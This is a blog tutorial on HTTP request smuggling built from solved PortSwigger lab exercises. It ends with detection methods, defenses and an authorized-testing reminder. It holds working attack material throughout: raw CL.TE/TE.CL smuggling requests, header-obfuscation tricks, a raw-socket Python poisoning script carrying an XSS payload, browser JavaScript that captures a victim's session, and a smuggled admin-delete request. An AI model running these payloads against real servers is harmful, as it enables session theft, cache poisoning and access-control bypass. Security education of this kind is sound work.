July 18, 2026
HTTP Request Smuggling: Turning Two Servers Against Each Other on a Single TCP Connection
From CL.TE and TE.CL to HTTP/2 downgrade and client-side desync — a complete, hands-on guide built from 20+ labs I solved myself.

By Furkanalpgunay
16 min read
TL;DR
The problem_ — A modern website receives your request through a_ front-end (CDN, load balancer, reverse proxy) and forwards it to a back-end application server. These two share the same TCP connection for performance. If they disagree about where a request ends_, an attacker can slip an invisible request in between._
The result_ — Security controls are bypassed, other users' sessions are stolen, caches are poisoned._
In this article_ — Every class of the attack: from basic CL.TE/TE.CL to HTTP/2 downgrade and client-side desync, with real payloads and solved labs._
Table of Contents
- The story: an invisible request
- Why is it possible? The front-end / back-end architecture
- How a request's length is decided: Content-Length vs Transfer-Encoding
- CL.TE — front-end counts, back-end chunks
- TE.CL — front-end chunks, back-end counts
- TE.TE — break the header, fool one side
- CL.0 and 0.CL — the server that forgets the body
- The HTTP/2 front — summoning the old ghost
- Tunnelling vs Splitting — who gets the response?
- Client-side desync — the weapon is the victim's browser
- One desync, catastrophe follows: exploitation scenarios
- How to find it: detection methodology and tools
- Defense: kill the ambiguity
- Closing
1. The story: an invisible request
Picture an e-commerce site. In front of it sits an expensive WAF (Web Application Firewall) that slaps down every request headed for /admin with a "403 Forbidden." The admin panel looks sealed off from the world.
Now imagine you're allowed to send a single, harmless POST / request. The WAF inspects it, finds it clean, and forwards it to the application server behind it. But inside the body of that request, you've hidden a second request the WAF never noticed:
GET /admin/delete?username=carlos HTTP/1.1GET /admin/delete?username=carlos HTTP/1.1Because of an "interpretation gap" between the two servers, the back-end runs those hidden lines as a brand-new, independent request. The WAF saw nothing — to it, that was just the body of a POST request. And you just walked past the front-end's entire firewall through the back door.
This is HTTP Request Smuggling. And by the end of this article, you'll understand exactly how it works.
2. Why is it possible? The front-end / back-end architecture
No serious website takes requests directly on its application server. A layer sits in between:
- Front-end: a CDN (Cloudflare, Akamai), a load balancer, a reverse proxy (Nginx), or an API gateway. Its job: filter incoming traffic, terminate TLS, enforce security rules, and route the request to the back-end.
- Back-end: the application server that does the real work.
Here's the crux: these two servers don't open a fresh TCP connection for every request. That would be far too expensive. Instead, they keep persistent (keep-alive) connections open between them and stream many users' requests back-to-back over the same connection.
In this architecture, everything hinges on the two servers reaching perfect agreement about where one request ends and the next begins. If the front-end says "this request's body is 6 bytes" while the back-end says "no, the body ended here, the rest is a new request" — that's the crack we slip through. This condition is called desynchronization (desync).
So how can two servers disagree about the length of a request? The answer is buried in one of HTTP/1.1's original design flaws.
3. How a request's length is decided: Content-Length vs Transfer-Encoding
In HTTP/1.1, two different mechanisms can declare where a request body ends. And the entire issue is that a single request can carry both at once.
Content-Length(CL) — Simple and precise. It says "the body is exactly this many bytes":
POST /x HTTP/1.1
Host: target
Content-Length: 9
q=examplePOST /x HTTP/1.1
Host: target
Content-Length: 9
q=exampleThe server reads exactly 9 bytes, not one more, not one less.
Transfer-Encoding: chunked(TE) — Splits the body into chunks. Each chunk starts with its size in hexadecimal, and the body ends with a zero-length chunk (0\r\n\r\n):
POST /x HTTP/1.1
Host: target
Transfer-Encoding: chunked
9
q=example
0POST /x HTTP/1.1
Host: target
Transfer-Encoding: chunked
9
q=example
0Here 9 is hexadecimal, meaning 9 bytes are coming. When 0 arrives, the server understands the body has ended.
⚠️ The critical detail: Per RFC 7230, if a request has both
Content-LengthandTransfer-Encoding,Transfer-Encodingwins andContent-Lengthmust be ignored. But in the real world, front-ends and back-ends don't always obey that rule the same way. The whole game turns on this one line of disagreement.
Now let's examine the two main variants of that disagreement: which server listens to which header?
4. CL.TE — front-end counts, back-end chunks
Read the naming this way: CL.TE means the front-end uses Content-Length, the back-end uses Transfer-Encoding.
The logic of the attack:
POST / HTTP/1.1
Host: target
Content-Length: 6
Transfer-Encoding: chunked
0
GPOST / HTTP/1.1
Host: target
Content-Length: 6
Transfer-Encoding: chunked
0
GStep by step:
- Front-end (CL=6): Reads the body as
0\r\n\r\nG= exactly 6 bytes. Says "valid, complete request" and forwards all of it to the back-end. Security check passed ✅. - Back-end (chunked): Sees the
0chunk and declares "body ended." The single leftover character,G, gets glued to the start of the next request.
The result? If the next request coming down the connection is GET / HTTP/1.1, the back-end now sees it as GPOST / HTTP/1.1 — a malformed request. That's the proof of the vulnerability. But put a full GET /admin request in place of that G, and things get serious.
Below is the actual request I used to solve the basic CL.TE lab. This time I used GET /my-account as the smuggled payload; the X-Ignore: X header is a "decoy" to stop the victim's real request line from corrupting my smuggled request's headers:
5. TE.CL — front-end chunks, back-end counts
TE.CL is the exact mirror image of CL.TE: the front-end uses Transfer-Encoding, the back-end uses Content-Length. This time we hide the smuggled request inside a chunk.
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0Step by step:
- Front-end (chunked): reads
5c— hexadecimal 0x5c = 92 bytes — as one chunk. The entire smuggledGPOSTrequest lives inside those 92 bytes. Then it sees the0terminator, says "valid," and forwards everything. - Back-end (CL=4): reads only 4 bytes, i.e.
5c\r\n. Everything else (GPOST ... x=1) waits in the queue as a new request.
🧩 In TE.CL, byte-counting is the craft. You must set the first chunk size (
5c) to the exact byte length of the smuggled request. Off by a single byte and the connection breaks. And most importantly: turn off Burp Repeater's "Update Content-Length" when sending — otherwise Burp will "fix" theContent-Length: 4you carefully set, and the attack collapses.
The actual request I used to solve the basic TE.CL lab — the classic GPOST proof:
6. TE.TE — break the header, fool one side
But what if both the front-end and back-end support Transfer-Encoding properly? Then we corrupt the header so that one side sees it and the other doesn't (obfuscation). This is TE.TE, and the goal is to covertly turn TE.TE into a CL.TE or TE.CL.
Classic obfuscation tricks:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked (space after the name)
Transfer-Encoding: chunked (leading space/tab)
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
X: X[\n]Transfer-Encoding: chunked (embedded line break)
Transfer-Encoding
: chunked (line folding)Transfer-Encoding: xchunked
Transfer-Encoding : chunked (space after the name)
Transfer-Encoding: chunked (leading space/tab)
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
X: X[\n]Transfer-Encoding: chunked (embedded line break)
Transfer-Encoding
: chunked (line folding)Or the one that works most often — the duplicate header:
Transfer-Encoding: chunked
Transfer-Encoding: cowTransfer-Encoding: chunked
Transfer-Encoding: cowOne server sees the last (invalid cow) line, throws away Transfer-Encoding entirely, and falls back to Content-Length; the other sees the first line and still reads chunked. That's the asymmetry we want: desync.
Below is the TE obfuscation lab I solved using a duplicate Transfer-Encoding header ("chunked" + "cow"):
7. CL.0 and 0.CL — the server that forgets the body
You can smuggle without any Transfer-Encoding at all. In this newer class, one side treats Content-Length as if it were zero (never expects a body), while the other takes it seriously.
CL.0 — The back-end ignores the body. Some endpoints (static files, redirects, GET handlers that expect no body) disregard the incoming Content-Length:
POST /resources/images/blog.svg HTTP/1.1
Host: target
Content-Length: 25
GET /404 HTTP/1.1
Foo: xPOST /resources/images/blog.svg HTTP/1.1
Host: target
Content-Length: 25
GET /404 HTTP/1.1
Foo: xThe front-end counts CL=25 and forwards the body. But because the back-end expects no body at this endpoint, it treats Content-Length as 0 → the body becomes a whole new request.
0.CL — Now the reverse: the front-end ignores the body, the back-end takes it seriously. For example, the front-end expects no body on a GET and ignores Content-Length; the back-end reads it.
These classes usually require socket-level precision, because you have to poison the connection pool at exactly the right moment. To solve the 0.CL lab, I wrote a raw-socket Python script to keep libraries from "fixing" my headers. Since Carlos visits the site every 5 seconds, I poisoned the pool repeatedly:
#!/usr/bin/env python3
import socket, ssl, time
from urllib.parse import urlparse
TARGET_URL = "https://LAB-ID.web-security-academy.net"
def send_payload(host, port):
# Second (smuggled) request; Content-Length is deliberately 5 (2 bytes past the 3-byte x=1 body)
second_request = (
"GET /post?postId=2 HTTP/1.1\r\n"
"User-Agent: \"><script>alert(1)</script>\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 5\r\n"
"\r\n"
"x=1"
)
# First request (the 0.CL trap): Content-Length = exact byte length of the smuggled request
payload = (
f"GET /resources/images/blog.svg HTTP/1.1\r\n"
f"Content-Length: {len(second_request)}\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"\r\n"
f"{second_request}"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((host, port))
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.sendall(payload.encode()) # fire the raw bytes exactly as-is
sock.recv(1024)
sock.close()
def main():
p = urlparse(TARGET_URL)
host, port = p.hostname, (p.port or 443)
for i in range(1, 11):
print(f"[{i}/10] Sending poisoned payload...")
send_payload(host, port)
time.sleep(0.5) # a small breath so we don't trip the WAF
if __name__ == "__main__":
main()#!/usr/bin/env python3
import socket, ssl, time
from urllib.parse import urlparse
TARGET_URL = "https://LAB-ID.web-security-academy.net"
def send_payload(host, port):
# Second (smuggled) request; Content-Length is deliberately 5 (2 bytes past the 3-byte x=1 body)
second_request = (
"GET /post?postId=2 HTTP/1.1\r\n"
"User-Agent: \"><script>alert(1)</script>\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 5\r\n"
"\r\n"
"x=1"
)
# First request (the 0.CL trap): Content-Length = exact byte length of the smuggled request
payload = (
f"GET /resources/images/blog.svg HTTP/1.1\r\n"
f"Content-Length: {len(second_request)}\r\n"
f"Host: {host}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"\r\n"
f"{second_request}"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((host, port))
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.sendall(payload.encode()) # fire the raw bytes exactly as-is
sock.recv(1024)
sock.close()
def main():
p = urlparse(TARGET_URL)
host, port = p.hostname, (p.port or 443)
for i in range(1, 11):
print(f"[{i}/10] Sending poisoned payload...")
send_payload(host, port)
time.sleep(0.5) # a small breath so we don't trip the WAF
if __name__ == "__main__":
main()💡 Why a raw socket? Libraries like
requests"protect" you: they auto-computeContent-Length, normalize headers, and fix anything that looks broken. But in smuggling we want exactly that brokenness. Withsocket+sslyou get full control over the bytes.
8. The HTTP/2 front — summoning the old ghost
In HTTP/2 the message length is known precisely from binary frames. The Content-Length/Transfer-Encoding ambiguity theoretically doesn't exist. So is smuggling dead? No — it just moved.
Most sites speak HTTP/2 only at the front-end and convert the request to HTTP/1.1 before forwarding it to the back-end (h2 → h1 downgrade). And all the ambiguity is reborn in that conversion.
Three main techniques:
H2.CL — You manually add a content-length header to the HTTP/2 request. The front-end carries it into the h1 request during the downgrade, and the back-end trusts it:
H2.TE — Same idea, with transfer-encoding: chunked. After the downgrade, the back-end starts chunked parsing.
CRLF injection — The most elegant one. You embed a \r\n inside a header value. Because HTTP/2 is binary, a header value can carry a line break; but when converted to h1, that \r\n becomes a real line break, and you inject new headers/body:
foo: bar\r\n\r\nGET /x HTTP/1.1\r\nHost: targetfoo: bar\r\n\r\nGET /x HTTP/1.1\r\nHost: targetBurp flags such an h2 request that can't be expressed in HTTP/1 (with a \r\n in a value) as "kettled." That warning is actually your weapon:
In the Inspector, how the CRLF I embedded in a header value becomes a new request:
9. Tunnelling vs Splitting — who gets the response?
You've sent the smuggled request. But who gets its response? Two different outcomes, two different exploitation models.
Request Splitting — The smuggled request becomes a fully independent request in the back-end queue. Its response may go to another user sharing the same connection; or you capture the victim's request. This is "classic" smuggling and depends on the connection being shared between users.
Below is a request-splitting result I produced with HTTP/2 CRLF injection — my smuggled request produced a 302 response that returns an administrator session directly:
Request Tunnelling — Works even if the front-end opens a separate connection per user. The smuggled request's response is "tunnelled" inside your response: two responses come back in a single body (one normal, one belonging to the smuggled request). It requires almost nothing, and it's lethal when combined with web cache poisoning.
The practical difference:_ Splitting → directly affects other users but requires connection reuse. Tunnelling → in the HTTP/2 era, it's how you leak the responses the front-end hides, even without connection sharing._
10. Client-side desync — the weapon is the victim's browser
Until now we sent raw requests through a proxy (Burp). But the most insidious variant needs none of that.
In client-side desync, there's no front-end/back-end CL·TE mismatch. The target server desyncs on a normal browser request all by itself. The attacker lures the victim to a malicious page; the JavaScript on that page uses the victim's own browser and own cookies to send the poisoned request. So the attack hits real internet users — without ever touching Burp.
The trap running in the victim's browser poisons the server's socket via fetch, then leaks the victim's session to /capture-me:
<script>
fetch('https://LAB-ID.h1-web-security-academy.net/', {
method: 'POST',
body: 'POST /en/post/comment HTTP/1.1\r\n' +
'Host: LAB-ID.h1-web-security-academy.net\r\n' +
'Cookie: session=VICTIM_SESSION; _lab_analytics=...\r\n' +
'Content-Length: 900\r\n' +
'Content-Type: application/x-www-form-urlencoded\r\n' +
'Connection: keep-alive\r\n' +
'\r\n' +
'csrf=TOKEN&postId=5&name=furkan&email=a@b.com&website=http://a.com&comment=',
mode: 'cors',
credentials: 'include',
}).catch(() => {
// The first fetch "fails" on purpose — the connection is already poisoned.
// The second request is triggered to capture the victim's next request.
fetch('https://LAB-ID.h1-web-security-academy.net/capture-me', {
mode: 'no-cors',
credentials: 'include'
});
});
</script><script>
fetch('https://LAB-ID.h1-web-security-academy.net/', {
method: 'POST',
body: 'POST /en/post/comment HTTP/1.1\r\n' +
'Host: LAB-ID.h1-web-security-academy.net\r\n' +
'Cookie: session=VICTIM_SESSION; _lab_analytics=...\r\n' +
'Content-Length: 900\r\n' +
'Content-Type: application/x-www-form-urlencoded\r\n' +
'Connection: keep-alive\r\n' +
'\r\n' +
'csrf=TOKEN&postId=5&name=furkan&email=a@b.com&website=http://a.com&comment=',
mode: 'cors',
credentials: 'include',
}).catch(() => {
// The first fetch "fails" on purpose — the connection is already poisoned.
// The second request is triggered to capture the victim's next request.
fetch('https://LAB-ID.h1-web-security-academy.net/capture-me', {
mode: 'no-cors',
credentials: 'include'
});
});
</script>The beauty of it: thanks to credentials: 'include', the request goes out with the victim's session cookies. The second request embedded in the body lingers in the server's socket and pulls in the victim's next request. The victim gives themselves away with their own browser.
11. One desync, catastrophe follows: exploitation scenarios
Request smuggling isn't "a bug" on its own; it's the key to dozens of high-impact attacks. Once the channel is open, here's what you can do:
11.1 Bypassing front-end security controls
The most direct impact. If the front-end blocks /admin, you smuggle the request straight to the back-end. Below are the requests I used to bypass the front-end control with CL.TE (a smuggled POST) and to reach /admin/delete?username=carlos with TE.CL:
11.2 Capturing other users' requests
You send a smuggled POST /post/comment with a large Content-Length; the bytes of the victim's next request get appended to your comment's body and saved to the site. Then you read that comment and grab the victim's cookie, session, and CSRF token:
11.3 Escalating reflected XSS into "no-click" XSS
Normally, reflected XSS requires the victim to click a malicious link. Smuggling removes that requirement: you embed the script in the smuggled request's User-Agent header, and it reflects on the next user's page. The victim is hit without clicking anything:
11.4 Web cache poisoning
You write a malicious response into the cache of an innocent URL (e.g. /resources/js/tracking.js). After that, your payload is served to everyone who requests that file:
11.5 Web cache deception
The inverse of poisoning. With a smuggled request, you bind the victim's private response (account page, API key) to a path that looks like a static file; the cache mistakes it for "cacheable static content" and stores it. For example, you make the smuggled request GET /my-account and append an extension the cache thinks is static (like ;x.js). The victim's personal response lands in the public cache; then you request the same URL and read the victim's data from the cache.
11.6 Revealing front-end request rewriting
Front-ends add hidden headers to the request behind the scenes (the real client IP, an internal routing ID, TLS info). With a smuggled request you reflect these headers into a field and learn which headers are being added — a goldmine of reconnaissance for later attacks:
11.7 Combining web cache poisoning with HTTP/2 tunnelling
Remember the tunnelling from Section 9: the smuggled request's response comes back embedded inside yours. Combine it with web cache poisoning and you can write a persistent XSS into the cache even without connection sharing.
The trick: you tunnel a GET line carrying a reflected XSS inside the HTTP/2 request and append thousands of As as padding. That padding forces the front-end to flush the tunnelled response before closing the connection, so two responses come back in a single body:
GET /resources?<script>alert(1)</script>&pad=AAAAAAAA…(thousands of A) HTTP/1.1
Foo: barGET /resources?<script>alert(1)</script>&pad=AAAAAAAA…(thousands of A) HTTP/1.1
Foo: barIn the incoming response you see two HTTP responses nested in one body — the proof of tunnelling:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 8682
X-Cache: hit
↓ (the second response, belonging to the smuggled request, is tunnelled here)
HTTP/1.1 302 Found
Location: /resources/?<script>alert(1)</script>&pad=AAAAAAAA…HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 8682
X-Cache: hit
↓ (the second response, belonging to the smuggled request, is tunnelled here)
HTTP/1.1 302 Found
Location: /resources/?<script>alert(1)</script>&pad=AAAAAAAA…
The X-Cache: hit header tells you this poisoned response is now in the cache — meaning it will be served to everyone who requests it from now on.
Why is it so dangerous?_ Because these attacks usually require no authentication and directly target other users. A single successful desync can put every customer behind a CDN — or every session of an e-commerce site — at risk. This is why HTTP request smuggling is so often rated Critical in bug bounty programs._
12. How to find it: detection methodology and tools
Smuggling is a blind vulnerability; it won't print "you did it" to the screen. The proof is usually a delay or an anomalous response.
Method A — Timing
You force the back-end to wait for an incomplete chunk. If CL.TE is present, the back-end hangs and the response is delayed. That delay is the fingerprint:
POST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
1
APOST / HTTP/1.1
Host: target
Content-Length: 4
Transfer-Encoding: chunked
1
AThe front-end closes the request at Content-Length: 4; the back-end reads chunked and waits, expecting "more chunks to come" → timeout.
Method B — Differential responses
You send two requests back-to-back: the first smuggles a GET /404…, the second is a plain GET /. If the second request's response comes back as 404 instead of the expected 200, it's proven that the smuggled request reached the back-end.
The toolbox
- Burp Suite → HTTP Request Smuggler extension: automatically scans for CL.TE/TE.CL/TE.TE variants. This is your first stop.
- Turbo Intruder: for cases that need timing precision, it fires precise shots over a single connection.
- Raw Python socket (
socket+ssl): for the finest control. Libraries "fix" your headers; you want them left broken (see the 0.CL section).
Pause-based smuggling
Some servers desync without needing any CL/TE disagreement. The idea: the front-end forwards a request's headers and part of the body, then pauses. If the back-end starts parsing before the full body arrives, the connection desyncs at that pause — this is exactly James Kettle's "server-side pause-based request smuggling" technique.
In Turbo Intruder you trigger it by pausing the request at a specific point (pauseMarker) for a set time (pauseTime):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=500,
pipeline=False)
# Pause the first request for 61 seconds at the start of the body —
# this locks the connection and triggers the pause-based desync.
engine.queue(target.req, pauseMarker=['Content-Length: 171\r\n\r\n'],
pauseTime=61000)
engine.queue(target.req)
def handleResponse(req, interesting):
table.add(req)def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=500,
pipeline=False)
# Pause the first request for 61 seconds at the start of the body —
# this locks the connection and triggers the pause-based desync.
engine.queue(target.req, pauseMarker=['Content-Length: 171\r\n\r\n'],
pauseTime=61000)
engine.queue(target.req)
def handleResponse(req, interesting):
table.add(req)Once the channel is open, you embed a state-changing payload in the smuggled request. For example, an internal request to localhost that the front-end trusts, deleting a user on the victim's behalf:
POST /resources HTTP/1.1
Host: target
Cookie: session=...
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
csrf=TOKEN&username=carlosPOST /resources HTTP/1.1
Host: target
Cookie: session=...
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
csrf=TOKEN&username=carlos13. Defense: kill the ambiguity
The root of smuggling is parsing ambiguity. The fix is to eliminate the ambiguity.
✅ Use end-to-end HTTP/2. Speak HTTP/2 all the way from front-end to back-end and never downgrade. Frame-based length ends the ambiguity at the root. This is the single most effective measure.
✅ Reject ambiguous requests. Don't try to parse requests containing both Content-Length and Transfer-Encoding, or a malformed TE — return 400 Bad Request and close the connection.
✅ Normalize. Have the front-end convert the request into a single, exact canonical form before forwarding it to the back-end. Both servers must see exactly the same bytes.
✅ Don't share connections. Where possible, don't reuse the back-end connection between users; this cuts off splitting's fuel.
❌ Misleading "fixes": a WAF signature, blocking only the Transfer-Encoding string, or hiding the endpoint — none of these address the root cause; they just make the work harder.
⚖️ Responsible disclosure: only test these techniques on authorized targets — your own lab, an in-scope bug bounty program, or a pentest you have written permission for. Since smuggling by its nature affects other users, be doubly careful when testing in production.
14. Closing
HTTP request smuggling looks esoteric at first glance, but it rests on a single idea: if two servers read the same bytes differently, you can smuggle a request through the crack between them. Starting from that old tension between Content-Length and Transfer-Encoding, it stretches into a whole family reaching all the way to HTTP/2 downgrade and client-side desync…
Every variant I described here, I solved myself on the PortSwigger Web Security Academy — from basic CL.TE/TE.CL to the hardest HTTP/2 tunnelling and pause-based labs:
If you genuinely want to learn this, there's only one way: solve it with your own hands. Open PortSwigger's labs, fire up Burp, turn off "Update Content-Length," and start counting bytes. The moment you see your first GPOST, you'll never look at HTTP the same way again.
🔒 Legal note: All techniques here are for education and authorized security testing. Apply them only on systems you own or have explicit permission to test.
If this article helped you, give it a clap (👏 — you can hit it up to 50 times), bookmark it, and follow so you don't miss future web-security deep dives. Drop your questions and the labs you've solved in the comments — I'm curious which variant tripped you up.